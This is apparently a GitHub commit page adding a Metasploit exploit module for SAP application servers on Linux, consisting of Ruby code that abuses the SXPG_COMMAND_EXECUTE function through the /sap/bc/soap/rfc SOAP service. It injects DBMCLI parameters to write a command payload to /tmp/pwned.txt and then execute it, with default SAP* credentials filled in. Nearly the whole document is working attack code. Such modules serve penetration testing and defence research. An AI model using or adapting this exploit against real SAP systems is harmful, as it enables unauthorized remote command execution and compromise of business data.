Skip to content

Commit ff70967

Browse files
committed
SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
1 parent dfcce01 commit ff70967

File tree

1 file changed

+161
-0
lines changed

1 file changed

+161
-0
lines changed
Lines changed: 161 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,161 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
##
9+
# This module is based on, inspired by, or is a port of a plugin available in
10+
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11+
# http://www.onapsis.com/research-free-solutions.php.
12+
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13+
# in producing the Metasploit modules and was happy to share his knowledge and
14+
# experience - a very cool guy.
15+
#
16+
# The following guys from ERP-SCAN deserve credit for their contributions -
17+
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
18+
# Dmitry Evdokimov.
19+
#
20+
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
21+
# who have Beta tested the modules and provided excellent feedback. Some people
22+
# just seem to enjoy hacking SAP :)
23+
##
24+
25+
require 'msf/core'
26+
27+
class Metasploit3 < Msf::Exploit::Remote
28+
Rank = ExcellentRanking
29+
include Msf::Exploit::Remote::HttpClient
30+
31+
def initialize
32+
super(
33+
'Name' => 'SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection',
34+
'Description' => %q{
35+
This module makes use of the SXPG_COMMAND_EXEC Remote Function Call, through the
36+
use of the /sap/bc/soap/rfc SOAP service, to inject and execute OS commands.
37+
SAP Note: 1341333 and 1764994.
38+
},
39+
'References' =>
40+
[
41+
[ 'URL', 'http://labs.mwrinfosecurity.com/blog/2012/09/03/sap-parameter-injection' ],
42+
[ 'URL', 'https://service.sap.com/sap/support/notes/1764994' ],
43+
[ 'URL', 'https://service.sap.com/sap/support/notes/1341333' ]
44+
],
45+
'DisclosureDate' => 'May 8 2012',
46+
'Arch' => ARCH_CMD,
47+
'Compat' =>
48+
{
49+
'PayloadType' => 'cmd'
50+
},
51+
'Platform' => ['unix', 'linux'],
52+
'Targets' =>
53+
[
54+
['SAP AS on Linux', {}]
55+
],
56+
'DefaultTarget' => 0,
57+
'Privileged' => true,
58+
'Author' =>
59+
[
60+
'nmonkee'
61+
],
62+
'License' => MSF_LICENSE
63+
)
64+
register_options(
65+
[
66+
Opt::RPORT(8000),
67+
OptString.new('CLIENT', [true, 'SAP Client', '001']),
68+
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
69+
OptString.new('PASSWORD', [true, 'Password', '06071992']),
70+
OptEnum.new('OS', [true, 'Target OS', "linux", ['linux']]),
71+
], self.class)
72+
end
73+
74+
def exploit
75+
ip = rhost
76+
payload_ = create_payload(1)
77+
exec_command(ip,payload_)
78+
payload_ = create_payload(2)
79+
exec_command(ip,payload_)
80+
end
81+
82+
def create_payload(num)
83+
command = ""
84+
if datastore['OS'].downcase == "linux"
85+
if num == 1
86+
command = "-o /tmp/pwned.txt -n pwnie" + "\n!"
87+
tmp_ = payload.encoded.gsub(" ","\t")
88+
tmp__ = tmp_.gsub("&","&amp;")
89+
command << tmp__.gsub("<","&lt;")
90+
command << "\n"
91+
end
92+
command = "-ic /tmp/pwned.txt" if num == 2
93+
end
94+
data = '<?xml version="1.0" encoding="utf-8" ?>' + "\r\n"
95+
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' + "\r\n"
96+
data << '<env:Body>' + "\r\n"
97+
data << '<n1:SXPG_COMMAND_EXECUTE xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' + "\r\n"
98+
data << '<ADDITIONAL_PARAMETERS>' + command + ' </ADDITIONAL_PARAMETERS>' + "\r\n"
99+
data << '<COMMANDNAME>DBMCLI</COMMANDNAME>' + "\r\n"
100+
data << '<OPERATINGSYSTEM>ANYOS</OPERATINGSYSTEM>' + "\r\n"
101+
data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>' + "\r\n"
102+
data << '</n1:SXPG_COMMAND_EXECUTE>' + "\r\n"
103+
data << '</env:Body>' + "\r\n"
104+
data << '</env:Envelope>' + "\r\n"
105+
return data
106+
end
107+
108+
def exec_command(ip,data)
109+
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
110+
print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request")
111+
begin
112+
res = send_request_raw(
113+
{
114+
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
115+
'method' => 'POST',
116+
'data' => data,
117+
'headers' => {
118+
'Content-Length' => data.size.to_s,
119+
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
120+
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
121+
'Authorization' => 'Basic ' + user_pass,
122+
'Content-Type' => 'text/xml; charset=UTF-8'
123+
}
124+
}, 45)
125+
if res
126+
if res.code != 500 and res.code != 200
127+
print_error("[SAP] #{ip}:#{rport} - something went wrong!")
128+
return
129+
elsif res.body =~ /faultstring/
130+
error = res.body.scan(%r{<faultstring>(.*?)</faultstring>}).flatten
131+
0.upto(error.length-1) do |i|
132+
print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
133+
end
134+
return
135+
end
136+
output = res.body.scan(%r{<MESSAGE>([^<]+)</MESSAGE>}).flatten
137+
result = []
138+
0.upto(output.length-1) do |i|
139+
if output[i] =~ /E[rR][rR]/ || output[i] =~ /---/ || output[i] =~ /for database \(/
140+
#nothing
141+
elsif output[i] =~ /unknown host/ || output[i] =~ /; \(see/ || output[i] =~ /returned with/
142+
#nothing
143+
elsif output[i] =~ /External program terminated with exit code/
144+
#nothing
145+
else
146+
temp = output[i].to_s.gsub("&#62",">")
147+
temp_ = temp.gsub("&#34","\"")
148+
temp__ = temp_.gsub("&#39","'")
149+
result << temp__ + "\n"
150+
end
151+
end
152+
return
153+
else
154+
print_error("[SAP] #{ip}:#{rport} - no response")
155+
end
156+
rescue ::Rex::ConnectionError
157+
print_error("[SAP] #{ip}:#{rport} - Unable to connect")
158+
return
159+
end
160+
end
161+
end

0 commit comments

Comments
 (0)